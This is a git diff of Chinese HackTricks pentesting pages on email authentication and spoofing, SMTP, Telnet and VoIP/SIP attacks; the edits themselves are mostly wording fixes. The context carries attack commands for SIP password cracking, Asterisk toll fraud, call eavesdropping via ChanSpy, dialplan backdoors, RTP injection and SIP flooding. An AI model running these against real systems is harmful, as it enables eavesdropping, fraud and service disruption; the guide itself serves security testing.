@ -285,8 +285,8 @@ SPF [在 2014 年被“弃用”](https://aws.amazon.com/premiumsupport/knowledg
| INCLUDE | 引用另一个域的策略。如果该域的策略通过,则此机制通过。然而,如果包含的策略失败,则继续处理。要完全委托给另一个域的策略,必须使用重定向扩展。 |
| REDIRECT | <p>重定向是指向另一个域名的指针,该域名托管 SPF 策略,它允许多个域共享相同的 SPF 策略。当处理大量共享相同电子邮件基础设施的域时,它非常有用。</p><p>将使用重定向机制中指示的域的 SPF 策略。</p> |
还可以识别 **限定符**,指示 **如果匹配机制应该采取什么措施**。默认情况下,使用 **限定符 "+"**(因此如果匹配任何机制,则表示允许)。\
您通常会注意到 **每个 SPF 策略的末尾**类似于:**\~all** 或 **-all** 的内容。这用于指示 **如果发送者不匹配任何 SPF 策略,则应将电子邮件标记为不可信(\~)或拒绝(-)该电子邮件。**
还可以识别 **限定符**,指示 **如果匹配了某个机制应该采取什么措施**。默认情况下,使用 **限定符 "+"**(因此如果匹配任何机制,则表示允许)。\
您通常会**每个 SPF 策略的末尾** 注意到类似于:**\~all** 或 **-all** 的内容。这用于指示 **如果发送者不匹配任何 SPF 策略,则应将电子邮件标记为不可信(\~)或拒绝(-)该电子邮件。**
#### 限定符
@ -356,10 +356,10 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
| -------- | -------------------------------------------- | -------------------------------- |
| v | 协议版本 | v=DMARC1 |
| pct | 受过滤消息的百分比 | pct=20 |
| ruf | 法医报告的报告 URI | ruf=mailto:authfail@example.com |
| ruf | 取证报告的报告 URI | ruf=mailto:authfail@example.com |
| rua | 汇总报告的报告 URI | rua=mailto:aggrep@example.com |
| p | 组织域的策略 | p=quarantine |
| sp | 组织域子域的策略 | sp=reject |
| sp | OD 的子域策略 | sp=reject |
| adkim | DKIM 的对齐模式 | adkim=s |
| aspf | SPF 的对齐模式 | aspf=r |
@ -367,11 +367,11 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
**来自** [**这里**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\
您需要为每个希望发送邮件的子域拥有单独的 SPF 记录。\
以下内容最初发布在 openspf.org该网站曾是此类信息的极好资源。
以下内容最初发布在 openspf.org,该网站曾是此类信息的极好资源。
> 恶魔问题:子域怎么办?
>
> 如果我从 pielovers.demon.co.uk 收到邮件,而 pielovers 没有 SPF 数据,我应该回到上一级并测试 demon.co.uk 的 SPF 吗不应该。Demon 的每个子域都是不同的客户每个客户可能有自己的政策。Demon 的政策默认适用于所有客户是没有意义的;如果 Demon 想这样做,可以为每个子域设置 SPF 记录。
> 如果我从 pielovers.demon.co.uk 收到邮件,而 pielovers 没有 SPF 数据,我应该回退一级并测试 demon.co.uk 的 SPF 吗不应该。Demon 的每个子域都是不同的客户每个客户可能有自己的政策。Demon 的政策默认适用于所有客户是没有意义的;如果 Demon 想这样做,可以为每个子域设置 SPF 记录。
>
> 因此,给 SPF 发布者的建议是:您应该为每个具有 A 或 MX 记录的子域或主机名添加 SPF 记录。
>
@ -381,9 +381,9 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
### **开放转发**
发送电子邮件时,确保它们不会被标记为垃圾邮件至关重要。这通常通过使用**收件人信任的中继服务器**来实现。然而,一个常见的挑战是管理员可能并不完全了解哪些**IP 范围是安全的**。这种缺乏理解可能导致在设置 SMTP 服务器时出现错误,这是安全评估中经常识别的风险。
发送电子邮件时,确保它们不会被标记为垃圾邮件至关重要。这通常通过使用**收件人信任的中继服务器**来实现。然而,一个常见的挑战是管理员可能并不完全了解哪些**IP 范围是安全的**。这种缺乏理解可能导致在设置 SMTP 服务器时出现错误,这是安全评估中经常识别的风险。
一些管理员使用的解决方法是允许来自任何 IP 地址的连接,以避免电子邮件投递问题,特别是与潜在或正在进行的客户的通信。这是通过将 SMTP 服务器的 `mynetworks` 参数配置为接受所有 IP 地址来实现的,如下所示:
一些管理员使用的解决方法是为了避免电子邮件投递问题,特别是与潜在或正在进行的客户的通信,**允许来自任何 IP 地址的连接**。这是通过配置 SMTP 服务器的 `mynetworks` 参数以接受所有 IP 地址来实现的,如下所示:
```bash
mynetworks = 0.0.0.0/0
```
@ -413,7 +413,7 @@ python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TE
```
{% hint style="warning" %}
如果您在使用 dkim python lib 解析密钥时遇到任何 **错误**,请随意使用以下内容。\
**注意**:这只是一个临时解决方案,用于在某些情况下快速检查,其中由于某种原因 openssl 私钥 **无法被 dkim 解析**
**注意**:这只是一个临时修复,用于在某些情况下快速检查,其中由于某种原因 openssl 私钥 **无法被 dkim 解析**
```
-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
@ -514,7 +514,7 @@ s.sendmail(sender, [destination], msg_data)
* 损坏的电子邮件内容
* 使用的值与邮件头不同
* 存在有效且受信任的SSL证书
* 将页面提交网络内容过滤网站
* 将页面提交网络内容过滤网站
## 通过SMTP进行外泄
@ -589,7 +589,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看待您的网络应用、网络和云
**从黑客的角度看待您的网络应用、网络和云**
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面找到让您提升权限的安全问题并使用自动化利用收集重要证据将您的辛勤工作转化为有说服力的报告。
@ -605,7 +605,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR来分享黑客技巧。
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github库提交PR来分享黑客技巧。
</details>
{% endhint %}

View file

@ -9,7 +9,7 @@
<summary>支持 HackTricks</summary>
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
</details>
@ -17,7 +17,7 @@
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看待您的网络应用、网络和云
**从黑客的角度看待您的网络应用、网络和云**
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化漏洞收集重要证据,将您的辛勤工作转化为有说服力的报告。
@ -41,13 +41,13 @@
此 SMTP 命令通知远程服务器附加电子邮件的估计大小(以字节为单位)。它也可以用于报告服务器接受的最大消息大小。
**DATA**\
通过 DATA 命令,电子邮件内容开始传输;通常后面跟着服务器给出的 354 回复代码,允许开始实际传输。
使用 DATA 命令开始传输电子邮件内容;通常后面跟着服务器给出的 354 回复代码,允许开始实际传输。
**VRFY**\
请求服务器验证特定电子邮件地址或用户名是否实际存在。
**TURN**\
此命令用于在客户端和服务器之间反转角色,而无需建立新的连接。
此命令用于在客户端和服务器之间反转角色,而无需重新建立连接。
**AUTH**\
通过 AUTH 命令,客户端向服务器进行身份验证,提供其用户名和密码。这是保证正确传输的另一层安全性。
@ -66,7 +66,7 @@
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看待您的网络应用、网络和云
**从黑客的角度看待您的网络应用、网络和云**
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化漏洞收集重要证据,将您的辛勤工作转化为有说服力的报告。
@ -81,7 +81,7 @@
<summary>支持 HackTricks</summary>
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
</details>

View file

@ -17,15 +17,15 @@
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看待您的网络应用、网络和云
**从黑客的角度看待您的网络应用、网络和云**
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找让您提升权限的安全问题,并使用自动化漏洞利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化漏洞利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## **基本信息**
Telnet 是一种网络协议,提供用户通过网络访问计算机的非安全方式
Telnet 是一种网络协议,允许用户以不安全的方式通过网络访问计算机
**默认端口:** 23
```
@ -89,7 +89,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOS
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看待您的网络应用、网络和云
**从黑客的角度看待您的网络应用、网络和云**
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面发现让您提升权限的安全问题并使用自动化利用收集重要证据将您的辛勤工作转化为有说服力的报告。
@ -104,8 +104,8 @@ Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOS
<summary>支持HackTricks</summary>
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR来分享黑客技巧。
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github库提交PR来分享黑客技巧。
</details>
{% endhint %}

View file

@ -17,9 +17,9 @@
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看待您的网络应用、网络和云
**从黑客的角度看待您的网络应用、网络和云**
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化漏洞利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化漏洞利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -126,7 +126,7 @@ OPTIONS Query the capabilities of an endpoint RFC 3261
493 Undecipherable
494 Security Agreement Required
```
**5xx—服务器故障响应**
**5xx—服务器失败响应**
```
500 Internal Server Error
501 Not Implemented
@ -138,7 +138,7 @@ OPTIONS Query the capabilities of an endpoint RFC 3261
555 Push Notification Service Not Supported
580 Precondition Failure
```
**6xx—全失败响应**
**6xx—全失败响应**
```
600 Busy Everywhere
603 Decline
@ -212,7 +212,7 @@ sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
```
* **`SIPPTS scan`**来自[**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS扫描是一个非常快速的SIP服务扫描器支持UDP、TCP或TLS。它使用多线程可以扫描大范围的网络。它允许轻松指示端口范围扫描TCP和UDP使用其他方法默认情况下将使用OPTIONS并指定不同的User-Agent等等
* **`SIPPTS scan`** 来自 [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS 扫描是一个非常快速的扫描器,用于通过 UDP、TCP 或 TLS 扫描 SIP 服务。它使用多线程,可以扫描大范围的网络。它允许轻松指示端口范围,扫描 TCP UDP使用其他方法默认情况下将使用 OPTIONS并指定不同的 User-Agent等等
```bash
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
@ -243,13 +243,13 @@ PBX 还可能暴露其他网络服务,例如:
### 方法枚举
可以使用来自 [**sippts**](https://github.com/Pepelux/sippts) `SIPPTS enumerate` 找到 **可用的方法** 以在 PBX 中使用
可以使用 `SIPPTS enumerate` [**sippts**](https://github.com/Pepelux/sippts) 找到 **可用的方法**
```bash
sippts enumerate -i 10.10.0.10
```
### 分析服务器响应
分析服务器返回给我们的头部信息非常重要,这取决于我们发送的消息和头部的类型。使用来自 [**sippts**](https://github.com/Pepelux/sippts) 的 `SIPPTS send`,我们可以发送个性化消息,操所有头部,并分析响应。
分析服务器返回给我们的头部信息非常重要,这取决于我们发送的消息和头部的类型。使用来自 [**sippts**](https://github.com/Pepelux/sippts) 的 `SIPPTS send`,我们可以发送个性化消息,操所有头部,并分析响应。
```bash
sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp
```
@ -274,7 +274,7 @@ sippts exten -i 10.10.0.10 -r 5060 -e 100-200
auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP)
```
* **`enumiax` (`apt install enumiax`): enumIAX** 是一个 Inter Asterisk Exchange 协议 **用户名暴力破解枚举器**。enumIAX 可以在两种不同模式下操作:顺序用户名猜测或字典攻击。
* **`enumiax` (`apt install enumiax`): enumIAX** 是一个 Inter Asterisk Exchange 协议 **用户名暴力破解枚举器**。enumIAX 可以在两种不同模式下运行:顺序用户名猜测或字典攻击。
```bash
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10
@ -283,7 +283,7 @@ enumiax -v -m3 -M3 10.10.0.10
### 密码暴力破解 - 在线
在发现了 **PBX** 和一些 **扩展/用户名** 后,红队可以尝试通过 `REGISTER` 方法对扩展进行身份验证,使用常见密码字典进行暴力破解。
在发现了 **PBX** 和一些 **扩展/用户名** 后,红队可以尝试通过 `REGISTER` 方法对扩展进行身份验证,使用常见密码字典进行暴力破解。
{% hint style="danger" %}
请注意,**用户名** 可以与扩展相同,但这种做法可能会因 PBX 系统、其配置和组织的偏好而有所不同...
@ -296,7 +296,7 @@ enumiax -v -m3 -M3 10.10.0.10
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
```
* **`SIPPTS rcrack`** 来自 [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack 是一个用于 SIP 服务的远程密码破解工具。Rcrack 可以在不同的 IP 和端口范围内测试多个用户的密码。
* **`SIPPTS rcrack`**来自[**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack 是一个用于 SIP 服务的远程密码破解工具。Rcrack 可以测试不同 IP 和端口范围内多个用户的密码。
```bash
sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
```
@ -308,7 +308,7 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
如果你在**开放Wifi网络**中发现VoIP设备你可以**嗅探所有信息**。此外如果你在一个更封闭的网络中通过以太网连接或受保护的Wifi你可以在**PBX和网关**之间执行**MitM攻击例如** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing)以嗅探信息。
在网络信息中,你可能会找到**管理设备的网页凭**、用户**分机**、**用户名**、**IP**地址,甚至**哈希密码**和**RTP数据包**,你可以重放这些数据包以**听到对话**,等等。
在网络信息中,你可能会找到**管理设备的网页凭**、用户**分机**、**用户名**、**IP**地址,甚至**哈希密码**和**RTP数据包**,你可以重放这些数据包以**听到对话**,等等。
要获取这些信息你可以使用Wireshark、tcpdump等工具……但一个**专门创建的嗅探VoIP对话的工具是** [**ucsniff**](https://github.com/Seabreg/ucsniff)。
@ -317,9 +317,9 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
如果使用**SRTP**和**ZRTP****RTP数据包将不会是明文**。
{% endhint %}
#### SIP凭(密码暴力破解 - 离线)
#### SIP凭(密码暴力破解 - 离线)
[查看这个例子以更好地理解**SIP REGISTER通信**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example),以了解**凭是如何发送的**。
[查看这个例子以更好地理解**SIP REGISTER通信**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example),以了解**凭是如何发送的**。
* **`sipdump`**和**`sipcrack`**,是**sipcrack**的一部分(`apt-get install sipcrack`):这些工具可以**从pcap中提取**SIP协议中的**摘要认证**并进行**暴力破解**。
```bash
@ -347,7 +347,7 @@ multimon -a DTMF -t wac pin.wav
```
### 免费通话 / Asterisks 连接配置错误
在 Asterisk 中,可以允许来自 **特定 IP 地址****任何 IP 地址** 的连接:
在 Asterisk 中,可以允许来自 **特定 IP 地址** 的连接来自 **任何 IP 地址** 的连接:
```
host=10.10.10.10
host=dynamic
@ -357,14 +357,14 @@ host=dynamic
要定义用户,可以定义为:
* **`type=user`**:用户只能作为用户接听电话。
* **`type=friend`**:可以作为对等方拨打电话并作为用户接听(与分机一起使用)
* **`type=peer`**:可以作为对等方发送和接电话SIP-trunks
* **`type=friend`**:可以作为对等方拨打电话并作为用户接听(与扩展一起使用)
* **`type=peer`**:可以作为对等方发送和接电话SIP-trunks
还可以通过不安全变量建立信任:
* **`insecure=port`**允许通过IP验证的对等连接。
* **`insecure=invite`**不需要对INVITE消息进行身份验证
* **`insecure=port,invite`**:两者都可以
* **`insecure=port,invite`**:两者都适用
{% hint style="warning" %}
当使用**`type=friend`**时,**host**变量的**值**将**不被使用**,因此如果管理员**错误配置SIP-trunk**使用该值,**任何人都将能够连接到它**。
@ -377,13 +377,13 @@ host=dynamic
### 免费通话 / Asterisks上下文错误配置
在Asterisk中**上下文**是拨号计划中一个命名的容器或部分,**将相关的分机、操作和规则分组在一起**。拨号计划是Asterisk系统的核心组件因为它定义了**如何处理和路由来电和去电**。上下文用于组织拨号计划、管理访问控制,并提供系统不同部分之间的分离。
在Asterisk中**上下文**是拨号计划中一个命名的容器或部分,**将相关的扩展、操作和规则组合在一起**。拨号计划是Asterisk系统的核心组件因为它定义了**如何处理和路由来电和去电**。上下文用于组织拨号计划、管理访问控制,并提供系统不同部分之间的分离。
每个上下文在配置文件中定义,通常在**`extensions.conf`**文件中。上下文用方括号表示,上下文名称包含在其中。例如:
```bash
csharpCopy code[my_context]
```
此上下文中,您定义扩展(拨打号码的模式)并将其与一系列操作或应用程序关联。这些操作决定了电话的处理方式。例如:
上下文中,您定义了分机(拨打号码的模式)并将其与一系列操作或应用程序关联。这些操作决定了电话的处理方式。例如:
```scss
[my_context]
exten => 100,1,Answer()
@ -439,7 +439,7 @@ VoIP 系统中的 IVRS 通常包括:
在 Asterisk VoIP 系统中,您可以使用拨号计划(**`extensions.conf`** 文件)和各种应用程序(如 `Background()`、`Playback()`、`Read()` 等)创建 IVR。这些应用程序帮助您播放语音提示、捕获用户输入并控制呼叫流程。
#### 漏洞配置示例
#### 易受攻击的配置示例
```scss
exten => 0,100,Read(numbers,the_call,,,,5)
exten => 0,101,GotoIf("$[${numbers}"="1"]?200)
@ -460,7 +460,7 @@ exten => _X.,1,Dial(SIP/${EXTEN})
```scss
exten => 101,1,Dial(SIP/101)
```
然而,如果 **`${EXTEN}`** 允许输入 **超过数字**(如在旧版 Asterisk 中),攻击者可以输入 **`101&SIP123123123`** 来拨打电话号码 123123123。这将是结果
然而,如果 **`${EXTEN}`** 允许输入 **超过数字**(如在旧版本的 Asterisk 中),攻击者可以输入 **`101&SIP123123123`** 来拨打电话号码 123123123。这将是结果
```scss
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
```
@ -468,7 +468,7 @@ exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
## SIPDigestLeak 漏洞
SIP Digest Leak 是一个影响大量 SIP 电话的漏洞,包括硬件和软件 IP 电话以及电话适配器VoIP 模拟)。该漏洞允许 **泄露 Digest 认证响应**,该响应是根据密码计算的。然后可以进行 **离线密码攻击**,并根据挑战响应恢复大多数密码。
SIP Digest Leak 是一个影响大量 SIP 电话的漏洞,包括硬件和软件 IP 电话以及电话适配器VoIP 模拟)。该漏洞允许 **泄露 Digest 认证响应**,该响应是根据密码计算的。然后可以进行 **离线密码攻击**,并根据挑战响应恢复大多数密码。
**[漏洞场景来自这里**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf):
@ -503,7 +503,7 @@ Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100
```
### Click2Call
Click2Call 允许一个 **网络用户**(例如可能对某个产品感兴趣) **提供** 他的 **电话号码** 以接收电话。然后会拨打一个商业电话,当他 **接听电话** 时,用户将 **呼叫并与代理连接**。
Click2Call 允许一个 **网络用户**(例如可能对某个产品感兴趣) **提供** 他的 **电话号码** 以接收电话。然后会拨打一个商业电话,当他 **接听电话** 时,用户将 **呼叫并与代理连接**。
一个常见的 Asterisk 配置文件是:
```scss
@ -516,7 +516,7 @@ read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate
```
* 之前的配置允许 **任何 IP 地址连接**(如果已知密码)。
* 要 **组织一个话**,如前所述,**不需要读取权限****只需要** **在写入中** **发起**
* 要 **组织一个话**,如前所述,**不需要读取权限****只需要** **在写入中** **发起**
拥有这些权限的任何知道密码的 IP 都可以连接并提取过多信息,例如:
@ -533,11 +533,11 @@ exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecr
在 Asterisk 中,可以使用命令 **`ChanSpy`** 指定要监控的 **分机**(或所有分机)来听取正在进行的对话。此命令需要分配给一个分机。
例如,**`exten => 333,1,ChanSpy('all',qb)`** 表示如果你 **拨打** **分机 333**,它将 **监控** **`all`** 分机,**开始监听** 每当新的对话开始时 (**`b`**) 以静音模式 (**`q`**) 进行,因为我们不想进行互动。你可以通过按 **`*`** 或输入分机号码在进行的对话之间切换。
例如,**`exten => 333,1,ChanSpy('all',qb)`** 表示如果你 **拨打** **分机 333**,它将 **监控** **`all`** 分机,**开始监听** 每当新的对话开始时 (**`b`**) 以静音模式 (**`q`**) 进行,因为我们不想进行互动。你可以通过按 **`*`** 或输入分机号码在进行的对话之间切换。
也可以使用 **`ExtenSpy`** 仅监控一个分机。
除了监听对话外,还可以使用分机将其 **录制到文件**,例如:
除了监听对话外,还可以使用分机将其 **录制到文件**,例如:
{% code overflow="wrap" %}
```scss
@ -559,7 +559,7 @@ exten => h,1,System(/tmp/leak_conv.sh &)
RTP 代理尝试通过在两个或多个参与者之间代理 RTP 流来解决影响 RTC 系统的 **NAT 限制**。当 NAT 存在时RTP 代理软件通常无法依赖通过信令(例如 SIP获取的 RTP IP 和端口信息。因此,一些 RTP 代理实现了一种机制,使得这样的 **IP 和端口元组能够自动学习**。这通常是通过检查传入的 RTP 流量并将任何传入 RTP 流量的源 IP 和端口标记为应响应的来完成的。这种机制可能被称为“学习模式”,**不使用任何形式的身份验证**。因此,**攻击者** 可以 **向 RTP 代理发送 RTP 流量**,并接收原本应发送给正在进行的 RTP 流的呼叫者或被叫者的代理 RTP 流量。我们称这种漏洞为 RTP Bleed因为它允许攻击者接收原本应发送给合法用户的 RTP 媒体流。
RTP 代理和 RTP 堆栈的另一个有趣行为是,有时 **即使不易受 RTP Bleed 漏洞影响**,它们仍会 **接受、转发和/或处理来自任何源的 RTP 数据包**。因此,攻击者可以发送 RTP 数据包,这可能允许他们注入自己的媒体而不是合法的媒体。我们称这种攻击为 RTP 注入,因为它允许将不合法的 RTP 数据包注入到现有的 RTP 流中。此漏洞可能在 RTP 代理和端点中发现。
RTP 代理和 RTP 堆栈的另一个有趣行为是,有时 **即使不易受 RTP Bleed 漏洞影响**,它们仍会 **接受、转发和/或处理来自任何源的 RTP 数据包**。因此,攻击者可以发送 RTP 数据包,这可能允许他们注入自己的媒体而不是合法的媒体。我们称这种攻击为 RTP 注入,因为它允许将不合法的 RTP 数据包注入到现有的 RTP 流中。此漏洞可能在 RTP 代理和端点中发现。
Asterisk 和 FreePBX 传统上使用 **`NAT=yes` 设置**,这使得 RTP 流量能够绕过身份验证,可能导致通话中没有音频或单向音频。
@ -587,10 +587,10 @@ sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav
```scss
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
```
There is command called **`Shell`** that could be used **instead of `System`** to execute system commands if necessary.
有一个命令叫做 **`Shell`**,可以在必要时 **替代 `System`** 来执行系统命令。
{% hint style="warning" %}
如果服务器**不允许在`System`**命令中使用某些字符如在Elastix中请检查Web服务器是否允许**以某种方式在系统内部创建文件**如在Elastix或trixbox中并利用它**创建一个后门脚本**,然后使用**`System`**来**执行**该**脚本**
如果服务器 **不允许在 `System`** 命令中使用某些字符(如在 Elastix 中),请检查网络服务器是否允许 **以某种方式在系统内部创建文件**(如在 Elastix 或 trixbox 中),并利用它 **创建一个后门脚本**,然后使用 **`System`** 来 **执行****脚本**
{% endhint %}
#### 有趣的本地文件和权限
@ -600,37 +600,37 @@ There is command called **`Shell`** that could be used **instead of `System`** t
* **mysql root 用户** 可能 **没有任何密码**
* 这可以用来创建一个新的 mysql 用户作为后门。
* **`FreePBX`**
* **`amportal.conf`** -> 包含Web面板管理员FreePBX的密码。
* **`amportal.conf`** -> 包含网络面板管理员FreePBX的密码。
* **`FreePBX.conf`** -> 包含用于访问数据库的用户 FreePBXuser 的密码。
* 这可以用来创建一个新的 mysql 用户作为后门。
* **`Elastix`**
* **`Elastix.conf`** -> 包含多个明文密码,如mysql root密码、IMAPd密码、Web管理员密码。
* **`Elastix.conf`** -> 包含多个明文密码,如 mysql root 密码、IMAPd 密码、网络管理员密码。
* **多个文件夹** 将属于被攻陷的 asterisk 用户(如果不是以 root 身份运行)。该用户可以读取之前的文件并控制配置,因此他可以使 Asterisk 在执行时加载其他后门二进制文件。
### RTP 注入
可以使用工具如**`rtpinsertsound`**`sudo apt install rtpinsertsound`)和**`rtpmixsound`**`sudo apt install rtpmixsound`)在对话中插入**`.wav`**
可以使用 **`rtpinsertsound`** (`sudo apt install rtpinsertsound`) 和 **`rtpmixsound`** (`sudo apt install rtpmixsound`) 等工具在对话中插入 **`.wav`** 文件
或者您可以使用来自[http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/)的脚本来**扫描对话****`rtpscan.pl`**)、向对话发送一个**`.wav`****`rtpsend.pl`**)并在对话中**插入噪音****`rtpflood.pl`**)。
或者您可以使用来自 [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/) 的脚本来 **扫描对话****`rtpscan.pl`**)、向对话发送 **`.wav`** 文件(**`rtpsend.pl`**)和 **在对话中插入噪音****`rtpflood.pl`**)。
### DoS
有几种方法可以尝试在 VoIP 服务器上实现 DoS。
* **`SIPPTS flood`**来自[**sippts**](https://github.com/Pepelux/sippts)**SIPPTS洪水向目标发送无限消息。
* **`SIPPTS flood`** 来自 [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS flood 向目标发送无限消息。
* `sippts flood -i 10.10.0.10 -m invite -v`
